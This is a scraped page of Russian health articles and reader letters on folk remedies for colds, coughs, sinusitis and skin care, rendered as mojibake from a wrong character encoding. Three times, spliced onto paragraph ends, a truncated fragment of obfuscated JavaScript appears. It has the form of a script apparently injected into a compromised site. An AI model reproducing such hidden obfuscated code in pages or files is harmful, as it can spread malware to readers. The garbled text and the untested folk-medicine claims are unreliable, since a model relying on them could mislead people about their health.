Íåîáõîäèìîñòü îðãàíèçàöèè òàêîãî ìåðîïðèÿòèÿ âîçíèêëà â ñâÿçè ñ íîâûì çàêîíîïðîåêòîì «Îá îñíîâàõ îõðàíû çäîðîâüÿ ãðàæäàí â Ðîññèéñêîé Ôåäåðàöèè», ïîÿâëåíèå êîòîðîãî âûçâàëî ìíîãî âîïðîñîâ è ñïîðîâ.  çäàíèè ïðåññ-îñîáíÿêà «ÀèÔ» íà Ìÿñíèöêîé óëèöå ñîáðàëèñü ïðåäñòàâèòåëè ýëèòû ôàðìàöåâòè÷åñêîãî ðûíêà.  ðàáîòå Êðóãëîãî ñòîëà ïðèíÿëè ó÷àñòèå äèðåêòîðà êðóïíåéøèõ ôàðìàöåâòè÷åñêèõ êîìïàíèé, èññëåäîâàòåëüñêèõ è ìàðêåòèíãîâûõ îðãàíèçàöèé.
Î òîì, êàêóþ âàæíóþ ðîëü èãðàþò ôàðìàöåâòû â ïðîöåññå îáùåíèÿ ñ íàñåëåíèåì ðàññêàçàë çàìåñòèòåëü ãåíåðàëüíîãî äèðåêòîðà, Äèðåêòîð ïî êîììåð÷åñêîé äåÿòåëüíîñòè è ðàçâèòèþ ïîðòôåëÿ ÇÀÎ «Àïòåêè 36,6» è Ñîïðåäñåäàòåëü...
Ïðîïîòåòü è èçáàâèòüñÿ îò ïðîñòóäû äî òîãî, êàê áîëåçíü íà÷íåò ðàçâèâàòüñÿ...
ß ðàáîòàþ ó÷èòåëüíèöåé â íà÷àëüíûõ êëàññàõ. Ñàìè çíàåòå, äåòè ïîñòîÿííî áîëåþò, òàê ÷òî ïîäöåïèòü ïðîñòóäó èëè ÎÐÇ äëÿ ìåíÿ ñâîåãî ðîäà ïðîôåññèîíàëüíûé ðèñê. Íî ÿ íå ìîãó ïîçâîëèòü ñåáå ÷àñòî áðàòü áîëüíè÷íûé ëèñò. Âåäü êàæäàÿ çàìåíà ó÷èòåëÿ – ýòî ñòðåññ äëÿ ðåáÿò. Ñíà÷àëà îíè ïîäîëãó ïðèâûêàþò ê íîâîé ó÷èòåëüíèöå, à ïîòîì èì íóæíî âðåìÿ, ÷òîáû ñíîâà ïðèâûêíóòü êî ìíå. Òàê ÷òî ñòàðàþñü íå áîëåòü.
Äëÿ áîðüáû ñ ïðîñòóäîé ó ìåíÿ ñâîé ðåöåïò. Åñëè çàñòàòü áîëåçíü â ñàìîì íà÷àëå, äåéñòâóåò áåçîòêàçíî!
● Ïðè ïåðâûõ ïðèçíàêàõ ïðîñòóäû çàâàðèòå 1,5 ñò. ëîæêè ñóõèõ öâåòêîâ ëèïû ñòàêàíîì êèïÿòêà, äàéòå íàñòîÿòüñÿ 20 ìèíóò è ïðîöåäèòå....
Îá èñïîëüçîâàíèè ñêðàáîâ äëÿ ëèöà çíàåò êàæäàÿ æåíùèíà, íî äàëåêî íå âñå óìåþò ïðàâèëüíî èõ ãîòîâèòü è ïðèìåíÿòü...
ß æèâó, êàê ãîâîðèòñÿ, â ãëóáèíêå. ×òîáû äîåõàòü äî ãîðîäà, íóæíî ïîòðàòèòü ÷óòü ëè íå ïîëäíÿ. Ïîýòîìó êîñìåòèêó ïîêóïàþ îò ñëó÷àÿ ê ñëó÷àþ. À âåäü òàê õî÷åòñÿ áûòü êðàñèâîé. Ïîýòîìó ÿ îòäàþ ïðåäïî÷òåíèå íàðîäíûì ñðåäñòâàì.
Âîò îäíî èç íèõ. Íåæíûé ñêðàá äëÿ ëèöà ìîæíî ïðèãîòîâèòü â äîìàøíèõ óñëîâèÿõ. Äëÿ ýòîãî ðèñ èëè ãðå÷êó èçìåëü÷èòå â ïûëü â êîôåìîëêå. Ýòîé ìÿãêîé ðàñòèòåëüíîé ïóäðîé ìîæíî ÷èñòèòü êîæó õîòü êàæäûé äåíü. Äëÿ ñóõîé êîæè ëó÷øå èñïîëüçîâàòü ïóäðó èç ãåðêóëåñà èëè îòðóáåé.
Äëÿ ÷óâñòâèòåëüíîé êîæè ëó÷øå ñäåëàòü ñîâñåì äåëèêàòíûé ñêðàá: êàðòîôåëüíûé êðàõìàë íàìî÷èòå, ñëåãêà îòîæìèòå, çàâåðíèòå â ìàðëåâûé òàìïîí è ïîìàññèðóéòå...
Î òîì, ÷òî ÷åñíîê îáëàäàåò îáùåóêðåïëÿþùèì ýôôåêòîì è ñïîñîáåí èçëå÷èâàòü íåêîòîðûå çàáîëåâàíèÿ, çíàþò ìíîãèå...
Åñëè ó âàñ íàñìîðê, ïîäûøèòå íàä ÷åñíî÷íûì íàñòîåì. Ðàñòîëêèòå íåñêîëüêî çóá÷èêîâ ÷åñíîêà, ïîëîæèòå â ìàëåíüêóþ êàñòðþëþ ñ òîëñòûì äíîì, çàëåéòå ñòàêàíîì âîäû è ïîäåðæèòå â òå÷åíèå 20 ìèíóò íà ñëàáîì îãíå.  ñëåãêà îñòóæåííûé ÷àé äîáàâüòå ÷àéíóþ ëîæêó ëèìîííîãî ñîêà è ïåðåìåøàéòå. Äûøèòå íàä ïàðîì, ïîêà íàñòîé íå îñòûíåò.
Íàòàëüÿ, Àñòðàõàíü
Ëè÷íîå ìíåíèå
Àíèòà Öîé:
– ß îòêðûëà öåëóþ êëèíèêó â Ìîñêâå, ãäå èñïîëüçóþòñÿ íåòðàäèöèîííûå ìåòîäû ëå÷åíèÿ: öåëåáíûå ìàññàæè, ôèòîòåðàïèÿ, ôëîðîòåðàïèÿ. Íà ìîé âçãëÿä, ÷åëîâåê äîëæåí áûòü áëèæå ê ïðèðîäå.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Ïå÷åíü – åäèíñòâåííûé îðãàí, êîòîðûé ìîæåò ïîëíîñòüþ âîññòàíàâëèâàòüñÿ. Íî îí î÷åíü óÿçâèì, è åãî âîçìîæíîñòè íåáåçãðàíè÷íû
Åñëè çëîóïîòðåáëÿòü àëêîãîëåì, íàëåãàòü íà êîï÷åíûå, îñòðûå è æèðíûå ïðîäóêòû, ãîðñòÿìè ãëîòàòü òàáëåòêè, ìîæíî ïåðåãðóçèòü «î÷èñòèòåëüíóþ ôàáðèêó» íàøåãî îðãàíèçìà è â êîíöå êîíöîâ ïðîñòî åå «ïîñàäèòü».
Íàøà ïå÷åíü – ýòî íàñòîÿùàÿ õèìè÷åñêàÿ ëàáîðàòîðèÿ. Êàæäûé ÷àñ ÷åðåç íåå ïðîõîäèò îêîëî 90 ëèòðîâ êðîâè. Âðåäíûå êîìïîíåíòû òóò æå îáåçâðåæèâàþòñÿ, è êðàñíàÿ æèäêîñòü òå÷åò äàëüøå. Ïå÷åíü ó÷àñòâóåò â îáðàçîâàíèè ïîëîâèíû âñåé ïðîèçâîäèìîé îðãàíèçìîì ëèìôû è ìî÷åâèíû, ÿâëÿåòñÿ ðåçåðâóàðîì êðîâè è äåïî âèòàìèíà Â12, íèêîòèíîâîé êèñëîòû è ðåòèíîëà.  íåé ñîäåðæèòñÿ óäàðíàÿ ïîðöèÿ æåëåçà è ãëèêîãåíà, êîòîðûé ïðè áîëüøèõ ýíåðãåòè÷åñêèõ çàòðàòàõ...
Íàêëàäûâàéòå äîìàøíèå ìàñêè íà ëèöî ðîâíûìè, ëåãêèìè äâèæåíèÿìè, íå íàæèìàéòå íà êîæó ñëèøêîì ñèëüíî
Ó ìåíÿ æèðíàÿ êîæà. Ïîñòîÿííî ïîëüçóþñü âñÿêèìè ëîñüîíàìè è ìàñêàìè, íî âñå-òàêè ïðåäïî÷èòàþ äîìàøíþþ êîñìåòèêó. Òàì âñå èíãðåäèåíòû íàòóðàëüíûå, òàê ÷òî ìîæíî íå îïàñàòüñÿ âîñïàëåíèé è ðàçäðàæåíèÿ. Ëó÷øå âñåãî ìíå ïîìîãàþò âèíîãðàäíûå ìàñêè. Îñåíüþ ïîëüçóþñü èìè ïîñòîÿííî, è ìîÿ êîæà âûãëÿäèò çàìåòíî ëó÷øå. Âîò ýòè çàìå÷àòåëüíûå ñðåäñòâà:
Ãîðñòü êðàñíîãî âèíîãðàäà ðàçîìíèòå âìåñòå ñî ñìåòàíîé è ïðèãîòîâüòå ãóñòóþ ìàñêó. Íàíåñèòå ñìåñü íà ëèöî, ïîäîæäèòå 20 ìèíóò è ñíèìèòå ìàñêó òàìïîíîì, ñìî÷åííûì â ïðîõëàäíîì ìîëîêå. Òàêàÿ ìàñêà ïèòàåò, îñâåæàåò è ðàçãëàæèâàåò êîæó, à çàîäíî è ñóæàåò ðàñøèðåííûå ïîðû.
Ìàñêó äëÿ æèðíîé êîæè ìîæíî ïðèãîòîâèòü,...
Óâëàæíÿþùèå ìàñêè ïðåäîõðàíÿþò êîæó îò ïåðåñûõàíèÿ è îòìèðàíèÿ êëåòîê, ïðîäëåâàÿ âàøó ìîëîäîñòü
Ñîâåòóþ âñåì ÷èòàòåëüíèöàì «ÀèÔ. Çäîðîâüå» íå óïóñêàòü âîçìîæíîñòè õîòÿ áû â êîíöå ñåçîíà ïîáàëîâàòü ñâîþ êîæó äûííûìè ìàñêàìè. Âîò ðåöåïò ìîåé ëþáèìîé ìàñêè, êîòîðàÿ ïîìîæåò óâëàæíèòü ñóõóþ êîæó è ñïðàâèòüñÿ ñ ìåëêèìè ìîðùèíêàìè.
Ñìåøàéòå 2–3 ñò. ëîæêè äûííîé ìÿêîòè ñ 1 ñò. ëîæêîé ñìåòàíû è ÿè÷íûì æåëòêîì äî êðåìîîáðàçíîé êîíñèñòåíöèè. Ïðîòðèòå ëèöî è øåþ ñîêîì äûíè, à çàòåì íàëîæèòå ïðèãîòîâëåííóþ ìàñêó. ×åðåç 15 ìèíóò ñìîéòå ìàñêó òåïëîé âîäîé.
Ëàðèñà Ñåëüöîâà, Ñàíêò-Ïåòåðáóðãfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Óêðåïëÿòü äåòñêèé èììóíèòåò íåîáõîäèìî ïîñòîÿííî, à íå îò ñëó÷àÿ ê ñëó÷àþ...
Êàê òîëüêî íà óëèöå õîëîäàåò, ìîé âíóê íà÷èíàåò ïîäêàøëèâàòü. Ñðàçó æå ïè÷êàòü ðåáåíêà òàáëåòêàìè íå õî÷åòñÿ, ïîýòîìó ñòàðàåìñÿ ïîëüçîâàòüñÿ íàðîäíûìè ñðåäñòâàìè. Âîò äâà ïðîñòûõ ðåöåïòà îò êàøëÿ íà îñíîâå îâîùíûõ ñîêîâ.
Êîíå÷íî, îíè íå ñìîãóò ñïðàâèòüñÿ ñ çàïóùåííûì áðîíõèòîì, íî åñëè âàì óäàëîñü çàñòàòü ïðîñòóäó â ñàìîì íà÷àëå, ýòè ñðåäñòâà î÷åíü ýôôåêòèâíû.
● Ïðèíèìàéòå ïî 1–2 ñò. ëîæêè ñîêà ìîðêîâè, ñìåøàííîãî ñ ìåäîì
â ñîîòíîøåíèè 1:1, òðè ðàçà â äåíü.
● Ïåéòå ñâåæèé ñîê êàïóñòû. Îí îáëàäàåò àíèñåïòè÷åñêèìè ñâîéñòâàìè è áûñòðî ëå÷èò áîëüíîå ãîðëî. Åñëè ðåáåíêó íå íðàâèòñÿ êàïóñòíûé ñîê, ìîæíî ïîäñëàñòèòü...
 îòå÷åñòâåííîé íàðîäíîé ìåäèöèíå ïîäîðîæíèê èçäàâíà ïðèìåíÿëñÿ äëÿ ëå÷åíèÿ áîëüíûõ õðîíè÷åñêèì êîëèòîì è îñòðûìè æåëóäî÷íî-êèøå÷íûìè çàáîëåâàíèÿìè …
Ñ íàøèì ñóìàñøåäøèì ðèòìîì æèçíè î ïðàâèëüíîì ïèòàíèè ÷àñòî ïðèõîäèòñÿ çàáûâàòü. Åäèì íà õîäó è íå âñåãäà çäîðîâóþ ïèùó. À ïîòîìó íå ñòîèò óäèâëÿòüñÿ, åñëè æåëóäîê âäðóã «âçáðûêíåò». Òî ãàñòðèò îáîñòðèòñÿ, òî ïðîñòî êàêîå-íèáóäü ðàññòðîéñòâî ïðîèçîéäåò. Ó ìåíÿ íà âñå ýòè ñëó÷àè åñòü âåðíîå ñðåäñòâî.
● Ñèðîï èç ïîäîðîæíèêà. Ïðèãîòîâèòü åãî ñîâñåì íåñëîæíî. Íóæíî ñìåøàòü â ðàâíûõ ÷àñòÿõ êàøèöó èç ëèñòüåâ ïîäîðîæíèêà è ìåä. Ðàçîãðåòü íà íåáîëüøîì îãíå è íàñòîÿòü 4 ÷àñà â òåïëîì ìåñòå. Ïîëó÷åííûé ñèðîï ïðîöåäèòü è ïðèíèìàòü ïî 1 ÷. ëîæêå 4 ðàçà â äåíü çà ïîë÷àñà äî åäû.
Íèíà Ñâèðèäîâà, Íîâîñèáèðñê
Àâðààì Ðóññî:
– Íàðîäíàÿ ìåäèöèíà...
Åù¸ íåñêîëüêî âåêîâ íàçàä â àïòå÷êå êàæäîãî ëåêàðÿ îáÿçàòåëüíî áûëà ñîëü. Åé ëå÷èëè îãðîìíîå êîëè÷åñòâî çàáîëåâàíèé, è ïîäàãðó, è àñòìó, è ãèïåðòîíèþ...
Íå òàê äàâíî ñèëüíî ïðîñòóäèëàñü, äîëãî íå ìîãëà âûëå÷èòüñÿ. Âðà÷ ñêàçàë, ÷òî íà÷èíàåòñÿ ãàéìîðèò. Ïðîïèñàë ìíå ëåêàðñòâà, à â êà÷åñòâå äîïîëíèòåëüíîãî ñðåäñòâà ÿ èñïîëüçîâàëà ðåöåïò ìîåé áàáóøêè.
● ×òîáû ïðîãðåòü ïàçóõè, íóæíî íàñûïàòü â êàñòðþëþ 0,5 êã ïîâàðåííîé ñîëè, ïîäîãðåòü åå äî 40 ãðàäóñîâ, ïåðåñûïàòü â ïîëîòíÿíûé ìåøî÷åê è äåðæàòü 30 ìèíóò íà ëáó. Êîãäà ñîëü îñòûíåò, ñíîâà ïîäîãðåéòå åå äî òàêîé æå òåìïåðàòóðû è ïîâòîðèòå ïðîöåäóðó. Áëàãîäàðÿ ýòîìó ñðåäñòâó ìíå óäàëîñü îáîéòèñü áåç ïðîêîëîâ.
Ñâåòëàíà Èâàíîâà, Îìñêfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
